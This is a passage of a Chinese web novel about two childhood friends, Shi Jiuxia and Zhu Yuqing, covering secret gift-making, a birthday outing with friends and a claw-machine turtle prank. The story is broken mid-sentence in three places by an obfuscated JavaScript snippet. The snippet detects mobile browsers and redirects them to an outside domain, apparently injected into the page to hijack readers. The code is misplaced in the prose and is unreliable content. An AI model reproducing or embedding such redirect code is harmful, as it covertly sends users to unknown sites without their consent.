八岁,身边的伙伴都玩起了扮成爸爸妈妈的做饭游戏,诗久夏兴冲冲的拉着祝与青要加入邻居小孩组织的游戏里,到选择身份时祝与青却只愿意当她哥哥。 她大哭一场,甚至放下再也不要和祝与青在一起的狠话,并哭着要走后,祝与青才慌了神,连忙答应了她做“夫妻”的邀约,擦干她的眼泪,告诉她只要她开心,他做什么都可以。 那年她哭来了“夫妻”身份,和周边所有同岁的小孩一样,与祝与青共同操持着一个“家”,做各种各样花花绿绿的菜,身边站着的那个小孩就一直配合她所有的表演。 这样的假扮游戏玩了两年,上了三年级之后休息时间减少,他们都不再玩那些幼稚的游戏,开始在不同的补习班里流转。 那个小孩仍然陪着她,变成了记忆中:地铁上累睡着后靠着的肩膀,永远不用自己削的铅笔。 初二,班级里早熟的同学开始谈起了恋爱,背着老师牵手在操场的跑道上散步,悄悄讨论着那个男生最帅。 祝与青的名字常在她们嘴边出现,祝与青本人也开始收到各种粉红色,藏着少女青涩懵懂感情的情书。 为了留给彼此体面,当面送的情书他都收了起来,不过都会在私下以自己还不够好为由,婉拒女生的感情。 怎么会不够好呢?十四岁的诗久夏趴在课桌上,看着篮球场上挥洒汗水的背影想。 祝与青是一个顶顶好的人。 那年她终于意识到有一天祝与青真的会和另一个女孩站在一起,像周围所有偷偷谈恋爱的情侣一样,牵手藏在校园的某个角落散步,在对方伤心时递上自己的肩膀,从篮球场下来后接过早已准备好的水。 这些场景里不再有她的身影,她也不知自己那时会身在何处,又是何种心情。 初三,周围的情侣越来越多,来找她表白的男生也愈来愈多,她却只是看着坐在玻璃窗边埋头睡觉的人,一一回绝了那些喜欢。 然而在幸福来临时分离也在悄悄走近,考一个高中的约定不绝于耳,她却仍只是在背书的间隙里抬眼看那个熟悉的背影。 那年她十五岁,她终于发现自己在情窦初开的年纪里,喜欢上了自己的青梅竹马,那个从小到大陪着她,和她一起走过天真岁月的祝与青。 从两小无猜到欢喜冤家,再到目光躲闪,各怀心思,相顾无言。 或许祝与青也在那样的岁月里藏着一个她不知道姓名的女孩,和所有人一样默默祈祷着能和喜欢的人考上同一个高中,在遥远的未来里再见一面。 所以其实她们之间的距离并非真的起步于性别意识。 而是起步于某天她再无法坦荡的看着对方漂亮的眼睛,无法再心如止水的面对对方那些熟练的动作,无法再理所当然的享受对方无微不至的照顾。 如果要问长久相伴的人忽然在那一刻变了感情,其实是很难分辨的,可她对自己的感情变化实在太敏锐,她既然知道了自己的心,就瞒不住感受了。 于是习惯和观点打了架,他们开始了隐瞒和掩饰。 诗久夏屏住呼吸,神情凝重地为咕噜车上高速旋转的泥捏着褶,试图探索出能做出造型,又不破坏泥胚的力度。 这是她今天第四次换泥胚。 从她坐在这里到现在,至少给陶瓷店增加了一天的营业额。 “喝点水吧久夏。” 眼见诗久夏手中的泥胚又将“寿终正寝”,陶瓷店店长周姨急忙端了杯能治愈人心的“小甜水”和小饼干到诗久夏身边。 “啪”泥胚第四次变成一摊烂泥,诗久夏拍了拍自己满是泥浆的手掌,狠狠叹了口气,看得周姨忍不住想替诗久夏掐人中。 再一次怀疑一次自己是不是残废,得到否定的答案后,诗久夏深深呼了一口气,朝坐在身边,一脸担忧,生怕她一秒直接掀桌子大喊“不干了”。 顺带把她店砸了的周姨扯出一个勉强和善的微笑。“忍痛”推拒掉已经摆在面前的奶茶和小饼干。 当然不是良心发现,决定从此好好听话,对“不良诱惑”说nonono了,而是因为—— “唐姨!这个抹面大概要抹成什么样啊?” 十分钟前还在陶瓷店的诗久夏嘴角还沾着一点奶油,手里拿着长长刮刀,面前是个四寸大的蛋糕胚,瓷盆里盛放的动物奶油被她抹一点吃一点,已经耗得差不多了。 穿着淡黄色围裙的中年妇女从制作间里走出来,层层堆叠的粉色裙摆跟着她的动作一晃一晃,径直走到诗久夏面前看了一眼对方手中的蛋糕胚,哎呦了一声。 “怎么抹的这么寒碜?得多抹一点!” 女人说着,瞅了一眼明明才补满就已经没剩多少的奶油,又看了一眼诗久夏有些躲闪的眼神,了然的笑了声,拿着盆去补了一些新鲜奶油给她。 这是她练习做蛋糕的第三天,从练习至今,她已经吃掉了六个蛋糕,唐萍转身的一瞬间,诗久夏一口咬在了蛋糕的侧面,嚼吧嚼吧往下咽。 现在是第七个了。 对“不良诱惑”说nonono的事,她诗久夏做不到! 大声对“不良诱惑”说:“宝贝我来了!”才是她诗久夏的作风! 这些天下午放学她都会往外跑,不是蛋糕店就是陶瓷店,一待就是好几个小时,把肚子吃撑才肯回家。 今天周六,明天没课,诗久夏在蛋糕店里待到快九点才咽下最后一口蛋糕。 洗干净手,站在唐萍身边第三次夸奖她不仅人长得漂亮,还是个心灵手巧,能做出世界上最好吃的小蛋糕的蛋糕店老板。 把唐萍哄得心花怒放,就差把店送给她了。 你来我往,一番推拒后,诗久夏“勉强”收下了对方给她的小面包,一蹦一跳的回了家。 祝与青卧室里的灯还亮着,人却在亭子里,拿着本书立在窗户下。 和对方正对上视线,诗久夏有些心虚的移开眼,强装镇定地走到祝与青面前,问对方在看什么书。 完全没注意到以周围环境的黑暗程度来看,卧室窗户里透出来的光根本看不清书上的字。 祝与青还是没什么表情,看不出情绪,跟没听见诗久夏的话一样, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15502255|170401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 任由对方站在他面前。 见祝与青不说话,诗久夏心虚的摸了摸鼻子,脑子飞快转动,试图编造出一个合理且能够骗过祝与青的借口。 眼见诗久夏小动作越来越多,要被这种安静的环境逼疯,祝与青才抬起头,淡淡瞥了她一眼,低头继续看书:“吃了什么?” 单刀直入,一句话把她捅了个对穿,诗久夏一下直起腰,挽了下耳发,“什么什么?听不懂。” 合上手中的书,祝与青双手抱胸,居高临下的看着她,看样子是打算让诗久夏自己交代。 这就是比谁先沉不住气的时候,诗久夏装傻充楞的看着祝与青,一副“反正我不知道你在说什么”的模样。 轮耍赖皮,大概没有人能赖得过诗久夏。 小时候玩游戏时就惯会耍赖,玩五子棋直接没收祝与青的黑棋,玩飞行棋想跳几步跳几步,玩象棋更是有自己的一套用兵策略,她说什么就是什么。 不过祝与青显然也没打算和她多扯,等了两分钟,见她确实不打算说,好脾气的点点头。 紧接着拿出手机,点开了和谢敬的聊天框,当着诗久夏的面,要给对方打视频电话。 眼见祝与青今天真的不打算放过她,点击视频电话的手已经悬在了半空,诗久夏用生平最快的速度认了怂,一把抓住祝与青的手臂,讨好的朝他笑,连忙交代。 “小蛋糕!小蛋糕!” 做人最重要的是什么?及时认怂!脸面算什么? 诗久夏可怜巴巴的看着祝与青,趁他在看自己,一把夺过对方手里的手机,按下息屏键,藏在自己身后,推着祝与青往卧室走。 “多大点事,这么晚,就别叨扰人家谢敬了,你作业写到哪了,明天……” 诗久夏说到一半的话猛地顿住,盯着书桌前盛得满满的麻辣牛肉狠狠吸了口气,侧头看了眼被她往卧室里推的祝与青。 “……你今天给我做了牛肉啊?怎么不提前告诉我?” 愧疚一下子涌上心头,诗久夏低下头,小心捧起放在桌上还热乎的饭菜,追悔莫及,生平第一次后悔自己今天吃了蛋糕。 ——祝与青不喜欢进厨房,但每月会在她生理期之前下厨做一点红肉,避免她当月痛经痛得太厉害,她一直都知道对方的这个习惯,没成想这次吃得太嗨把这件事忘了。 眼见诗久夏的情绪低落下来,祝与青叹了口气,端起她手里的碗放回桌上:“放着,明天再吃。” 诗久夏还沉浸在内疚中,脑里的小灯忽然一亮,灵光一闪,想出一个“前无古人,后无来者”的“好办法”,抬起头兴奋地提议:“哎!要不我去大马路上跑几圈,消化消化再回来吃吧!” 说完就要往外跑。 祝与青两眼一黑,血压直飙180,眼疾手快地扣住活力十足要往外走的诗久夏,听着对方自以为两全其美的办法黑了脸。 “大半夜跑马路,你是想和警察玩一局你追我赶,谁是凶手吗?” 诗久夏被逮得愣住,讪讪一笑,老实站在原地不敢再动,见祝与青脸色不见好转,凑到祝与青面前扮鬼脸,继续耍赖皮,玩起了一唱一和。 “大胆诗久夏,竟然敢不经祝与青允许,跑到外面乱吃东西。ヽ(`Д??)???” 诗久夏叉着腰,佯装愤怒,在祝与青面前表演起来。 觑了一眼祝与青的神色,她又跳到另一边,双手合十做了个求饶的动作,绘声绘色的学起自己:“对不起!我再也不敢了o(╥﹏╥)o!” “与青大人,就请原谅小的这一次吧!\(T﹏T)/” 11. chapter 11 你瘦了 第二天一早,诗久夏起床的第一件事就是先把书桌上的肉端去厨房。 将热好的肉和菜扒得干干净净,诗久夏才觉得自己的愧疚感没那么强烈了。 她不是没良心的人,也不会为了面子嘴硬着说伤人心的话做伤人的事。 她和祝与青之所以变成欢喜冤家互呛,也纯粹是因为诗久夏因为吃不该吃的东西进了好几次医院,祝与青拦不住她才会和她妈告状。 不是存心给彼此找不痛快。 相伴十几年,彼此的爱好和讨厌的东西都再清楚不过,祝与青有多讨厌进厨房她也知道。 一个平时连看到厨房都要退避三舍,宁愿不吃饭也不会自己做饭吃,绝对不会进厨房的人,为了她每个月下一次厨,说她不感动是假的。 不然昨晚也不会在看到书桌前的菜时那么愧疚。 围着庭院转了好几圈,胃里的饱腹感慢慢散去,诗久夏轻轻哼起歌,跑到祝与青窗边看了一眼。 今天是一群人商量好的要给对方提前过生日的日子,五月二十六号,五月最后一个周日。 卧室里拉着窗帘,没传出响动声。 她今天起床也特意放轻了动作,为了避免把对方吵醒,从下床到走到庭院一直都垫着脚尖,大气不敢喘一口。 诗久夏并不急着现在把对方叫起来,确认对方没被她吵醒,回了自己的房间洗漱,收拾好又晃悠着跑去陶瓷店。 离祝与青生日还有五天,她想把送给对方的礼物做得再好一点,至少要尽全力做到最好。 她到的早,店里还没来人,周纯清将围裙递给她,又给自己拿了个泥胚,坐在旁边一点一点带着她做。 把每一个步骤都从头到尾过了一遍,诗久夏手里的东西勉强有了一点陶瓷的样子。 诗久夏将有些丑,但已经上好颜色,只等烧制成功就能用的陶瓷捧在手心,藏不住眼底的欣喜,默默期待着这个陶瓷烧出来后的模样。 并在心底盘算好了自己要给祝与青做什么款式的陶瓷。 将陶瓷小心翼翼的交给周纯清,诗久夏看了一眼手机,估摸祝与青也差不多起床了,礼貌的和周纯清道别回家。 祝与青正坐在客厅里吃十点钟的“早饭”,瞧见当了一早上“百灵鸟”,心情颇好的诗久夏推开大门时,动作微微停滞了一下,片刻后才慢条斯理地继续嚼着嘴里的白菜。 从诗久夏跑出他卧室的那个下午起,他们已经很久没有在白天说过话了。 诗久夏也已经很久没有和他一起吃过饭了。 不仅吃饭,两个人在一起的时间也大幅度下降,在学校时对方大多数时间都和方惊芜在一起,除了必要的事情外,两个人说不上几句话。 下午放学后他也很难再看见对方的身影,天黑回卧室写作业和睡觉已经成了他们最后的相处时间。 昨天晚上闹的那一通,已经是他们近十天里说过最多的话了。 有什么悄悄变了。 或许是她有了更让她有分享欲的人,不方便告诉他的事,没必要再和他提起的计划。 祝与青尝不出嘴里的菜是什么味道,心里有些发涩,已经嚼得很碎的食物怎么也咽不下去。 手中的筷子忽然被人撤走,诗久夏不知何时走到了他面前,正一脸凝重的端详着他,一向轻快的语气沉下去:“你又瘦了。” “昨天晚上我就发现了,你这几天在家吃的什么?” 诗久夏蹙着眉,将祝与青从上到下重新打量一番,看着那双漂亮眼睛下带着的乌黑,声音愈发疑惑:“你是不是失眠了?” 怪她最近忙着陶瓷店和蛋糕店两头跑,忘了盯祝与青吃饭,早该知道她不在时祝与青不会老实吃肉。 眼见诗久夏一句接一句的问,脸色也越来越难看,祝与青移开视线,避重就轻的只回答第二个问题。 “没有。” 诗久夏懒得听祝与青解释,直接把他眼前的饭菜挪走端去厨房,没一会儿端着个新的碗走出来。 “今早出门的时候我让阿姨炖的,吃这个。” 诗久夏不容抗拒的把汤勺塞到祝与青手里,又将汤碗放好,直接坐在了旁边的位置,一眨不眨的盯着他,打算守着他吃完。 祝与青本来也不是个话多的人,见诗久夏没有给他拒绝的权利也就不再推辞,捏着勺子,轻轻搅弄了一下碗里的汤。 排骨炖的很烂,旁边放着两块煮的软乎的玉米段,香味一点一点的往鼻尖里飘,好像把胃都捂暖和了。 祝与青吃饭吃的斯文,一勺汤一勺肉,诗久夏也不催他,等着他慢吞吞的把碗里最后一口汤喝干净才松一口气。 “我们下午一点集合,现在收拾收拾,时间应该刚好。” 诗久夏摸出手机看一眼时间,又指指祝与青单薄的衬衫,“晚上吃好饭回家不知道是几点,记得带一件薄外套。” 做陶瓷时没注意,刚盛汤时她才发现一颗泥点子溅到袖口上,诗久夏用手拭了一下,结果反而被她弄的更脏,只能认命的回卧室换衣服,关门时又看见祝与青还站在客厅里,高声嘱咐:“东西带好,半小时后出门!” 卧室门已经合上,祝与青在庭院里盯着早已不见的人影,想和她再说些什么。 互相呛对方几句也好,说些无关紧要的事,问问对方今天晚上吃什么也好。 可他说不出口,也不知道说出口之后,后面的话要怎么接下去。 祝与青双手插兜,又在院子里站了一会儿,眼前胡乱飞过对方在房间里翻箱倒柜的样子。 半小时后两个人准时出了门。 诗久夏换了条天蓝色的长裙,腰线刚好掐出她的腰,不仅没压身高,还把她衬的更高了些,像个小巨人。 头发梳成侧麻花辫,轻搭在左肩上,背着一个和裙子同色系的斜挎包,右手手腕扣着一块某奢侈品的新款手表,脚下是双白的亮眼小白鞋。 祝与青则换了件v字长袖白体,领口开的深,却又没真的漏出些什么,只给人留了些想象的空间。 黑色西装裤裹住大长腿,柔软垂顺,外面的黑色衬衫外套扎进裤腰,显出宽肩窄腰的倒三角身材,纽扣只扣了后三颗,袖口挽至手肘。 诗久夏还有六个月才成年,祝与青还没来得及考驾照,车库里放的车没一个人能动,最后愣是在路口处等了十几分钟才打到车。 路谨言是几个人中最先到的,没等几分钟七个人陆陆续续的都到了,团在一起后开始按照之前的打算往目的地走。 当代的学生生日无非也就是,吃饭,ktv,抓娃娃走一遭。 别看“七人团伙”好像“无恶不做”,实际就是一群守规矩,有点小钱的老实孩子。 诗久夏下半年才满十八岁,因着未成年的关系,所有人的生日和举办的活动,都避开了KTV和酒吧这类未成年不能进的场所。 属实是乖的没边的程度。 少了KTV,他们剩下的活动就剩了吃饭和抓娃娃,虽然无趣,但好歹绝对安全,毕竟谁都不想把喜事弄成抱憾终身的事。 走到商场里最大的娃娃机店,路谨言一次兑换了七百个币,一人分了一百个,走到一台装满王八的娃娃机前,准备“大展身手”,为今日的寿星祝与青抓100个长寿的乌龟,象征长命百岁。 祝与青对路谨言的“贱”和欠有着极其深刻的了解,对于路谨言这种只能算一般损的招基本免疫。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15502256|170401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 至少在他看来,对方的这种行为没有那天那副极具“艺术美”的画和极具“恋爱感”的赞扬诗雷人。 不过他还是瞥了眼路谨言,懒洋洋的问:“小时候是不是玩了不少植物大战僵尸?” 路谨言没听明白,“啥意思?” “脑子被僵尸吃掉了。” “……” 一声毫不留情的嘲笑传来。 谢敬不知从那个角落窜出来,绕到祝与青身边,一脸沉重的拍了拍正受伤的路谨言。 “别问他说的话是什么意思了,你知道的,他又说不出什么好话来。” 裴逢也从角落飘到路谨言身边,拍了拍惨遭“攻击”的路谨言的另一边肩,什么都没说,又好像什么都说了。 斯郁不是个爱上手的人,只是跟在裴逢后面,学着裴逢的样子看了他一眼,甚至还没憋住笑。 路谨言:“……” 真是自作孽不可活。早知道多问那一句干嘛?自取其辱。 方惊芜没理路谨言,拉着诗久夏往最里边的娃娃机走去,确认祝与青看不到这后才小声问诗久夏:“你的礼物准备好了吗?” 诗久夏握着手里沉甸甸的游戏币摇头。 “还没,我得再练会儿,估计得刚好卡着点给他。” “没被他发现吧?这些天我都不敢和他说话,怕被他套出你要送的东西。” “没有,这些天我也不敢和他待在一起,怕被他发现。” 诗久夏叹了口气,压低声音,“他观察力太强了。” 再说下去估计又得被发现不对劲,方惊芜回头望了一眼,及时打住,带着诗久夏对娃娃机里的漂亮玩偶下手。 不过诗久夏是个倒霉孩子,其他都还好,唯独在抓娃娃这件事上衰的不能再衰。 抓娃娃时她的手是能把人毒死的程度。 这是诗久夏无数次实现后得出的结论。 诗久夏第一次抓娃娃是在十四岁,那年她和祝与青的父母都因为工作没能回家过年,除夕当天俩个人把家绕了好几圈也不知该干嘛。 最后花了一百多的车费打车去了整个城市最热闹的地方。 那时抓娃娃已经有兴起的架势,大街小巷摆放的娃娃机不少,祝与青刚开始只兑换了五十个币,大概是过节喜庆,老板多送了五个,分的时候祝与青拿了十五个币就“闯天下”去了,其余的都给了她。 刚拿到币的诗久夏是何其自信,心想:这么多币我能不抱一堆回家? 于是她胸有成竹的出发,一脸蒙圈的回来。币不仅全花了,还一个没抓到。 反观只拿了十五个币的祝与青怀里倒是抱了一堆。 祝与青哪里会想到诗久夏一个抓不到,抱着娃娃回来时看见手里空无一物的诗久夏还以为她是放在了哪里,结果要走的时候见对方还是两手空空,才疑惑的问:“你的娃娃呢?” 疑惑的很认真,不是嘲讽和阴阳,是真的在询问。 斗志一下子被点燃。 诗久夏抬头回望对方,没有说话,在对方有些愣怔的眼神中拉着对方重新回到兑换窗口,又兑换了一百个游戏币,一声不吭的在娃娃机前“浴血奋战”。 一个小时过去,手里的游戏币归零,诗久夏的战况简直惨不忍睹。 祝与青则在看着对方一个币没剩,却只抓到两个后,震惊的更理所当然了。 诗久夏倒是愈战愈勇,甚至当上了赌徒,又去兑换了一百个游戏币,打算达不到自己理想的命中率今天就一直待这了。 祝与青全程围观,没有泼冷水或者嘲讽,只是一直诧异于她的运气和技术。 最后总结出诗久夏的手气已经烂到了一种很新的程度的结论。 12. chapter 12 庆寿龟 玩偶机前的粉红色灯光下站着一群漂亮的娃娃,玻璃柜里的在朝着玻璃柜外的笑,玻璃柜外的在等着把玻璃柜内的接回家。 诗久夏目光专注的盯着已经夹上娃娃的铁爪,期待它能落在刚刚好的位置,让她把属于自己的那一个玩偶带回家。 “哐当”一声响,在诗久夏花费掉第四十六个游戏币后,抓到了第一个属于自己的娃娃。 一只手掌大,粉红色的耳朵上别着一朵漂亮迎春花,穿着精致蓬蓬裙,眼睛微眯,嘴角往上仰着的漂亮玩偶被她从柜子里取了出来。 诗久夏揉了揉玩偶里填充的不太均匀的棉花,将娃娃凹陷的脸颊rua成圆圆的一团,伸手握了握她空着的手。 “你抓到啦?这个玩偶真好看?” 方惊芜从她身后探出头,伸手摸了摸她手中的毛茸茸。 “久夏惊芜,你们快来!” 诗久夏刚想点头,侧方忽然传出一声惊呼。 七人团里除了她俩和忙着抓乌龟的路谨言以及不知去了哪里的祝与青,都站在同一个娃娃机前,手里拎着一个十厘米左右的娃娃,边看边惊叹。 朝着聚集点走去,诗久夏和方惊芜一脸疑惑的听着七嘴八舌的讨论,没搞懂状况。 “这个娃娃真的好像你。” 谢敬见方惊芜走到旁边,一脸惊奇的将娃娃放在她脸侧,其余几人也站在谢敬身后,看一眼娃娃又看一眼方惊芜,一致做出点头赞同的动作。 诗久夏没明白一个和人的五官完全不相似的玩偶怎么会和方惊芜像,干脆也绕到谢敬身后,打算看看众人一致认同的玩偶到底长什么样。 不看不知道,一看吓一跳,这一看诗久夏也有些错愕。 玩偶没有很标准的五官,几乎都是用简单的线条表示,也没有和人类似的面部表情。 但谢敬手中拎着的娃娃就是和方惊芜有种莫名的相似度,连身上穿的衣服,挎包的款式和颜色都是方惊芜会选的款式。 见诗久夏也不否认,方惊芜更好奇了几分,也走到一行人旁边看起娃娃来。 “什么什么?给我看看呢?” “你也抓一个一样的娃娃放书包上吧,两个方惊芜。” “衣服好像也可以买同款哎?!” 谢敬絮絮叨叨的把玩偶和方惊芜做对比,甚至已经到了让两个人穿一样衣服的程度。 周围吵吵闹闹,诗久夏却始终没看见祝与青。 扫视一眼四周,快将整个娃娃店绕了一圈,诗久夏才在最右侧的一个装着樱桃味蛋糕玩偶的娃娃机前找到了祝与青。 红蓝绿,各种颜色的灯光随意照在娃娃店里。 祝与青骨节分明的手轻轻搭在操作杆上,流畅的手臂线条顺着隐入挽到手肘的袖口中。 胸前的衣服因为领口过大露出一片冷白色的皮肤,微微弯着的腰刚好露出好看的背脊线,偏蓝的光线打在他脸上,诗久夏只能看见他的侧脸。 似乎抓的很随意,眼睛却又一眨不眨的注视着正挂在铁爪上的玩偶。 诗久夏没有去打扰他,站在原地默默欣赏着美色。 抓到了自己的第一个玩偶,诗久夏也没有留恋在其他各式各样的娃娃机前,而是悄悄走到了路谨言身后,看他一百只乌龟的“庆寿”活动准备的如何。 又一只绿色乌龟落入洞口,乌龟家族又加入一位成员,百龟祝寿活动又前进一大步。 路谨言心情颇好的弯腰将乌龟从箱子里拿出,轻哼着某首几年前有些上头的老歌,忽然发现背后多了一只鞋,吓得浑身一抖跳起来。 “你干嘛?!” 路谨言脑袋发懵的看着悄无声息出现,不知在他身后看了多久的诗久夏。 诗久夏脚步轻,走路的声音本就不大,再加上周围各种各样的声音杂在一起,把她走路的声音掩盖过去,也不是刻意想吓路谨言。 但见对方被她吓到,还是玩心大起,朝他阴恻恻的笑了下,发出“桀桀桀”的怪声,等他缓过来了才问:“你抓了多少只乌龟?” 路谨言不知她问来干嘛,但还是往装乌龟的大篮子里看了一眼,老实回答:“……二十几只吧?” 诗久夏点点头,将手中的玩偶挂在斜挎包拉链上,扫了一眼周围的娃娃机,径直走到另一台装着乌龟的机器前,说出一句骇人听闻的话:“我帮你。” 路谨言不懂,但大为震撼:“你们冤家都是这样相处的吗?” “……” 诗久夏没明白这个冤家有什么关系,一脸懵的抬头,“啥?” “你不是想骂祝与青是王八吗?” 路谨言云里雾里的从篮子里拎出一只乌龟,怼到诗久夏眼前。 “……?” 诗久夏心情颇好的伸手捏捏快放在她脸上的小乌龟,解释:“没啊,不是抓来给他庆祝生日吗?” 其实路谨言刚开始提出这个建议时,诗久夏就非常的想加入。 乌龟长寿,用来庆祝生日也算是个好兆头,只不过当时被方惊芜拉走了。 路谨言目不转睛的盯着诗久夏,试图从她眼里找出类似不怀好意,戏谑的想法。 然而来来回回在她的脸上巡视三遍,路谨言也没找到自己想看见的开玩笑的情绪。 完了,她好像是认真的。 路谨言好似中了晴天霹雳一般,木愣愣的把怼到诗久夏眼前的乌龟收回,一时不知该如何动作。 仔细端详一遍面前人无辜的脸,确认她脸上的认真和诚恳不似作假后。 路谨言鉴定诗久夏真的是个奇葩非常的人。 他用乌龟给祝与青祝寿最大的用意其实是和对方犯犯贱,结果人诗久夏是真想用乌龟表达自己的祝福。 两个想法自灵魂深处慢慢浮现,路谨言忍不住陷入沉思。 一是:能和诗久夏同频的人实在太恐怖了。 二是:他的内心是不是有点太阴暗了。 “……你之前给祝与青送的生日礼物还算正常吧?没把他气死?” 路谨言一言难尽的看着诗久夏还是没忍住赞叹道:“青梅竹马,祝与青这些年没被你气死真是心脏好……” “……” 诗久夏嘴唇蠕动俩下,反驳的话刚要出口,又猛的咽下去,忽然不确定起来。 她这几年给祝与青送的生日礼物确实还算正常,但…… 小时候正不正常她就不敢说了。 三两句糊弄过去,见路谨言谴责她的神色越来越显眼,诗久夏立马开始了极为“认真”和“刻苦”的抓娃娃工作。 一个人做莫名其妙的事可能会不被人理解,但两个人一起做莫名奇妙的事就变了性质,并吸引更多人加入,最后演变成一场“疯子”之间的狂欢。 方惊芜的一句“我也要抓”和谢敬的一句“那还有装乌龟的娃娃机”吸引来了默不吭声,但绝对不放过任何一个坑好兄弟的机会的裴逢。 再感染了早就想一起抓,但一直不好意思上手的斯郁。 于是两个人抓乌龟就这么变成了除祝与青外,其余人都开始抓起乌龟来。 最后抓空了一整排放着乌龟的娃娃机,连带着不知情的路人也跟着抓了两只。 一群人怎么可以坏的这么团结。 祝与青抓住一只表面嵌着樱桃的蛋糕玩偶,安静立在一群人之外,生怕自己被传染。 见证这场堪称疯狂的乌龟围猎活动。 一筐又一筐乌龟提到服务台,祝与青全程倚在娃娃店门口,闭眼当看不见。 只有懵懵的服务员看着已经被乌龟包围的桌面,怀疑今天是不是什么自己没听说过的“乌龟节”。 一百只乌龟的数量实在不少,店员搜了好久才从仓库里找出一个绿色的编织袋,把乌龟塞进去后捆起来,变成鼓鼓囊囊的一团。 人多力量大,一百只娃娃只用了不到三个小时,虽然祝与青并不需要这样的力量,但这项任务仍非常完满且迅速的完成了。 路谨言开始带着一群人前往下一个目的地。 订好的蛋糕早已送到前台,签好字走进包厢,路谨言先拖迟了上菜时间,嘱咐服务员又擦了一遍桌子,打开编织袋,将一百只乌龟全部倒在饭桌上,开始为其摆弄造型。 十六只乌龟排成一排站在最前面,成了阵头,诗久夏抓走二十几只乌龟训练了一下,叠酒杯似的垒成一个六层蛋糕。 方惊芜抓的少,放在了诗久夏的“蛋糕”旁边,用乌龟摆成个小王冠。 路谨言用小乌龟摆成了个大乌龟,占了大半张桌子。裴逢摆的数字100,斯郁摆了个开心的笑脸,谢敬摆了个“与”字。 整场“积木游戏”中最闲的只有被庆祝的祝与青本人。 将所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15502257|170401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有东西摆放完毕,一张大圆桌已经全部占满,守在一旁的服务员适时走上前,询问是否需要拍照。 欣然接受对方的提议,路谨言研究了一下站位,一群人就“怎样才能把桌上的乌龟寿阵完全放入照片中”进行讨论。 最后得出让服务员站在桌子对面的板凳上,四十五度弯腰的姿势后,拍下一张又丑又萌的合照。 吃饭又是一场惊心动魄的游戏,路谨言从旁边随意薅了个空瓶子摆在桌上,好整以暇的扫了一眼在座的人,打算看看今晚是谁闹笑话。 “还是老规矩,太过分的别说。” 路谨言握着空瓶,转动手腕。 真心话大冒险的第一局,以寿星祝与青唱一首在场任意一个人歌单中循环最多的一首歌为开始。 路谨言的品味祝与青不敢恭维,生怕他从自己最常听的歌单里丢出一首炸裂十分的“名曲”,顺手转了下旁边抽人用的瓶子,选了诗久夏的歌单。 诗久夏有些懵,但还是打开了自己常用的音乐播放软件。 播放量最高的歌是啥诗久夏自己都记不得,打开歌单时和众人一同产生出一种开盲盒的刺激感。 手机投屏到包厢的大荧幕上,诗久夏听歌的类型不统一,各国语言各种类型,只要踩中她点都听,因此歌单里鱼龙混杂,各种语言的曲名混在各种类型的歌曲里,一时有些看不懂。 歌单按播放量重排一遍,一首最下面的韩语歌跳到了第一行 祝与青抬眸看一眼歌名,手指轻蜷,余光扫过坐在方惊芜身边的诗久夏。 姐姐真漂亮 “久夏,你该不会是知道我们今天会玩这个游戏,昨晚故意把这首歌弄来整与青吧?” 路谨言眯眼打量起排在第一行的歌名,开始了自己的阴谋论。 诗久夏攥紧拳头,发誓自己从来没有这么想撕碎一个人的嘴。 甚至从尴尬和恼怒中分出心思来心疼了一下长久活在路谨言嘴贱下的祝与青。 不过她是真不记得这首歌为什么循环了这么多次,可能只是单纯放这首歌的时候按到了循环,睡着了没关,后台一直在跑数据。 “喜欢年下款啊?” 方惊芜对这首歌还算熟悉,打量起身边的诗久夏来,揶揄道:“看不出来。” “……” 热意一下子在脸上散开,诗久夏面红耳赤的捂住方惊芜的嘴,差点把她憋窒息,人熟的快冒烟。 祝与青垂下眼,在诗久夏满脸通红憋不出一句话的时候打断几个人。 “唱中间的那段?” 他这一问又把一群人的注意力吸引了回来,祝与青将歌曲点开拉动进度条来回放了两遍,熟悉节奏后清唱出声。 祝与青初二的时候学过一段时间的韩语,虽然没学多久,但一些简单的韩文歌问题不大。 再加上几个人也就是听个音律,没要求多准,唱起来还算轻松。 音调抓得准,祝与青声音低,偏清润,吐字清晰,听起来倒也是种享受。 只有诗久夏的日子不太好过 ——不知是不是受路谨言和方惊芜的调侃,姐姐俩个字莫名成了根针,祝与青一唱到这两个字她就浑身不自在。 空调仿佛失去制冷作用,诗久夏周围的空气热得厉害,像在蒸桑拿,脖颈处和脸部的皮肤也像被辣椒油搓过似的,烧的厉害。 几句歌词也就几十秒的事,诗久夏却沉浸在自己想象中的尴尬里,根本不敢听多认真,自然也就没注意到唱歌的人。 祝与青轻轻跟着拍子,一边唱一边用余光扫那个低垂着头,侧脸还红着的人。 